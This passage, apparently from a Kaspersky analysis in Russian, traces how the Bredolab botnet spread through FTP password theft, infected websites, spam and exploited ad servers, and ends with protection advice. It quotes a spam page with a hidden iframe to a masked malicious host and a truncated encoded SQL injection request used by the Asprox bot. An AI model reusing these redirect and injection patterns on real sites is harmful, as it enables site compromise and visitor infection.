Filezilla 3 Ftp Explorer
Ftp Navigator FlashFXP
BulletProof Ftp FTPRush
CuteFtp Firefox
ALFTP Auto FTP
Far 2 Total Command
Frigate 3  

Найдя пароли, троянец отправляет их на сервер злоумышленников.

Trojan-PSW.Win32.Agent.qgg интересен потому, что сервер, на который этот троянец отправлял украденные пароли, принадлежал самим владельцам ботнета Bredolab. И именно с помощью украденных паролей к ftp-аккаунтам происходило заражение легальных сайтов вредоносным кодом. Такая замкнутая схема оказалась довольно эффективной.

Вредоносный цикл

После детального изучения стала ясна более или менее полная картина создания ботнета.

  1. При посещении зараженного Pegel/Iframe сайта браузер пользователя подгружает с вредоносного ресурса страницу, содержащую вредоносный JavaScript-код.
  2. Этот код инициирует заражение компьютера пользователя программой Bredolab , которая загружает дополнительное вредоносное ПО, включая троянца, похищающего пароли к ftp-аккаунтам. Происходит это все через один из обратных прокси-серверов, скрывающих настоящий центр управления ботнетом.
  3. Через какое-то время происходит заражение веб-сайта, для которого были украдены учетные записи. С использованием похищенных логина и пароля к ftp-аккаунту с сервера скачивается содержимое веб-сайта, при этом скачивается не весь контент, а файлы, начинающиеся на index*, default*, main*, а также все файлы с расширением *.js. Обратно на веб-сайт эти файлы закачиваются с уже встроенным вредоносным кодом. Интересно отметить, что как скачивание, так и последующее закачивание происходит со множества IP-адресов. Каждый файл может скачиваться с одного IP-адреса, а закачиваться уже с другого.
  4. После того как другой пользователь заходит на зараженный сайт, описанная схема повторяется.

Очевидно, что машины, участвовавшие в заражении сайта, являлись прокси-серверами. Злоумышленники использовали две группы прокси-серверов: одну для заражения пользовательской машины, вторую — для заражения сайта. Пересечений между первой и второй группой прокси-серверов выявлено не было.

Фрагмент ftp-лога, иллюстрирующий процесс заражения веб-сайта

Схема создания ботнета Bredolab

Эту схему распространения злоумышленники использовали на протяжении всего времени существования ботнета Bredolab.

Трафик

Описанная выше схема самоподдержания ботнета, безусловно, эффективна, хотя бы в силу автоматизации процесса заражения новых пользовательских машин. Однако у нее есть один недостаток. Схема начинает работать с момента, когда пользователя перенаправляют с зараженного легитимного ресурса на вредоносный домен из fast-flux сети. При этом количество зараженных Bredolab компьютеров пользователей, имеющих административный доступ к каким-либо веб-сайтам, ограничено. Соответственно, ограничено и число веб-ресурсов, которые злоумышленники могли инфицировать, используя украденные у этих пользователей пароли к ftp-аккаунтам. Сайты с высокой посещаемостью достаточно оперативно очищались от вредоносного ПО — чем больше аудитория сайта, тем больше вероятность того, что кто-то из посетителей заметит неладное и сообщит администрации сайта.

Количество зараженных в результате работы этой схемы компьютеров оказалось не достаточным для злоумышленников. Чтобы повысить эффективность атаки, необходимо было увеличить трафик число посетителей, перенаправленных на вредоносные домены fast-flux сети. Сделать это злоумышленники пытались различными способами.

Зараженные обфусцированным JavaScript-кодом легитимные сайты использовались для перенаправления пользователей на вредоносные ресурсы с декабря 2009 года. Вредоносный код мог поджидать пользователей даже на очень популярных сайтах. Открытая пользователем в браузере веб-страница – в кодовом виде – могла, например, иметь следующий вид:

Увеличить рисунок

Пример инфицированной веб-страницы

После исполнения браузером зашифрованного кода в страницу вставлялся тег <script>, содержащий Trojan-Downloader.JS.Pegel, который перенаправлял пользователя на вредоносный ресурс.

Пользователи могли получить ссылку на вредоносный контент «с доставкой на дом» в спаме. В июне 2010 года модификация Trojan-Downloader.JS.Pegel.g заняла первое место в списке наиболее распространенных в почте вредоносных вложений.

Наиболее распространенные в почте вредоносные файлы в июне 2010 г.

Некоторые вредоносные спам-атаки были довольно изощренными. В том же июне прошла волна спама, имитировавшего сообщения от имени таких популярных сайтов, как Twitter, Youtube, Amazon, Facebook, Skype и др. Письма содержали либо вредоносный код Pegel в HTML-вложении, либо ссылки на зараженные сайты.

Пример спам-письма со ссылками на вредоносный сайт

Если пользователь проходил по ссылке, то с зараженного сайта в браузер загружалась HTML-страница, имеющая следующий код:

PLEASE WAITING 4 SECOND...

<meta http-equiv="refresh" content="4;url=http://spr***team.com">
</head><body>
<iframe src="http://yu***eyes.ru:8080/index.php?pid=10" style="visibility: hidden;" height="1"
width="1"></iframe>
</body></html>

Тег meta-refresh через несколько секунд перенаправлял пользователя на страницу сайта Canadian Pharmacy, торгующего виагрой и другими медикаментами.

Сайт Canadian Pharmacy

В то же время по ссылке, содержащейся в теге Iframe, браузер перенаправлялся на один из прокси-серверов, входящих в fast-flux сеть, для заражения пользовательского компьютера Bredolab.

В августе был замечен еще один источник трафика. Спам-бот Asprox, обладающий возможностью осуществлять SQL-инъекции сайтов, написанных на ASP, начал заражать легитимные сайты, внедряя в них Iframe со ссылкой на nem****n.ru/tds/go.php?sid=1.

GET /page.asp?id=425; declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320...
5205461424c655f435552736f7220%20as%20varchar(4000));exec(@s);–

Пример SQL-инъекции, используемой ботом Asprox

После того как пользователь заходил на зараженный сайт, его браузер открывал ссылку, содержащуюся в теге Iframe. По этой ссылке размещалась TDS (traffic distribution system — система распределения трафика), которая перенаправляла браузер на вредоносные домены, входящие в принадлежащую владельцам ботнета Bredolab fast-flux сеть, для заражения компьютера пользователя Bredolab. В сутки таким образом перенаправлялось около 10 тыс. пользователей.

Наконец, в сентябре стало известно об очередном способе перенаправления пользователей на домены fast-flux сети ботнета Bredolab. Взлому подверглись легитимные сайты, использующие баннерный движок OpenX для показа рекламы. Эксплуатировалась уязвимость в компоненте Open Flash Chart 2, позволяющая злоумышленникам загружать произвольные файлы на сервер. В итоге на популярных сайтах, в числе которых оказались thepiratebay.org, tucows.com, afterdawn.com, esarcasm.com, tutu.ru, были подменены баннеры. Баннеры представляли собой флеш-файлы, содержащие ActionScript-код, который перенаправлял пользователей на вредоносные ресурсы. В то же время на официальный сайт проекта OpenX была организована DDoS-атака — в результате пользователи в течение нескольких дней были лишены возможности скачать обновление движка и тем самым закрыть уязвимость.

Увеличить рисунок

Фрагмент вредоносного swf-файла

Увеличить рисунок

Фрагмент ActionScript-кода, вставляющего в HTTP-страницу тег script

После сильного всплеска в июне, связанного с распространением в спаме писем со ссылками на вредоносные ресурсы ботнета, произошел спад активности Pegel. Несмотря на это, угроза еще могла бы проявить себя — если бы всему ботнету Bredolab не пришел конец.

Заключение

Владельцы ботнета Bredolab создали 30-миллионную зомби-сеть, которая функционировала в течение продолжительного времени. Для поддержания ботнета в рабочем состоянии злоумышленники довольно умело и эффективно скрывали центр управления ботнетом, используя технику fast-flux сетей. Такая схема не только обеспечивает хорошую отказоустойчивость командного центра ботнета, но и упрощает управление вредоносным контентом: вместо того чтобы администрировать вредоносные сайты на множестве узлов, киберпреступникам достаточно разместить один такой сайт на C&C и настроить на него редиректоры.

Ботнет Bredolab ввиду своей сложности, скорее всего, контролировался не одним человеком. Однако пока известно об аресте только одного злоумышленника, связанного с этим ботнетом. Существует вероятность того, что остальные участники преступной группы спустя какое-то время продолжат свое дело, так как схема, придуманная и реализованная ими, достаточно эффективна. Технологии, использованные для создания и поддержки работоспособности ботнета: обфускация JavaScript кода, загружающего эксплойты, замкнутый цикл построения зомби-сети, создание сетевой инфраструктуры, использующей fast-flux, и т.д. — могут быть приняты на вооружение и другими злоумышленниками.

Одной из главных особенностей ботнета Bredolab являлся близкий к замкнутому цикл построения зомби-сети, когда инфицированные пользовательские машины заражают веб сайты, посредством которых заражаются новые пользовательские ПК. Плюс к этому постоянно шел поиск новых способов перенаправления пользователей на вредоносные домены. Основным источником опасности при такой схеме служат зараженные веб-сайты, посещение которых приводит к тому, что на машины пользователей загружается вредоносное ПО. Информация с зараженных пользовательских компьютеров в свою очередь может быть использована для заражения веб-сайтов.

Для того чтобы обезопасить себя от подобного типа угроз, необходимо придерживаться следующих рекомендаций по защите пользовательских компьютеров и веб-сайтов.

Защита пользовательских компьютеров

  • Необходимо своевременно устанавливать обновления и для операционной системы, и для программ сторонних разработчиков, так как большинство эксплойтов и червей используют уязвимости в ПО, которые уже закрыты в обновленных версиях соответствующих продуктов. bРазумеется, надо установить антивирусное ПО и поддерживать антивирусные базы в актуальном состоянии. Антивирус хоть и не панацея, но способен значительно снизить риск заражения компьютера.
  • Ну и конечно, не стоит проходить по ссылкам в спамовых письмах, в сообщениях от незнакомых людей в социальных сетях и программах мгновенного обмена сообщениями. Это, как говорится, без комментариев.

Защита сайтов

  • Для заражения веб-сайта могут быть использованы уязвимости в коде сайта. Для того чтобы свести к минимуму возможность использования злоумышленниками уязвимостей, необходимо следить за выпуском обновлений ПО и своевременно обновлять программное обеспечение сайта.
  • Следует помнить о существовании сервисов и систем сканирования сайтов для обнаружения вредоносного кода, а также несанкционированного изменения контента.
  • В целях безопасности лучше отключить автоматическое сохранение ftp-паролей в ftp-клиентах (напомним, что многие программы, ворующие пароли от ftp-аккаунтов, в частности используемый Bredolab Trojan-PSW.Win32.Agent.qgg, ищут на зараженном компьютере именно сохраненные пароли).
  • Может оказаться полезным периодически делать резервные копии сайта (баз данных, файлов, в которых могут храниться важные данные) на случай, если в результате заражения данные окажутся испорченными.
  • Если сайт все-таки оказался заражен, простого удаления вредоносного кода с сайта может быть недостаточно. Например, если были похищены пароли для ftp, то через некоторое время сайт может быть снова заражен. Для устранения проблемы нужно выполнить следующие шаги:
    1. Проверить наличие обновлений для ПО, установленного на сайте, и загрузить их (чтобы исключить заражение сайта через уязвимости).
    2. Используя антивирусный продукт с самыми свежими антивирусными базами, провести полное сканирование пользовательских компьютеров, с которых есть доступ к ftp сайта.
    3. Сменить пароли к ftp-аккаунту.
    4. Очистить сайт от вредоносного кода.

Следуя приведенным выше рекомендациям, можно значительно снизить риск того, что ваши компьютерные ресурсы окажутся частью какого-нибудь ботнета. Не забывайте, что заражение проще предупредить, чем вылечить.

Источник: securelist.com  




Рейтинг @Mail.ru

Rambler's Top100
Rambler's Top100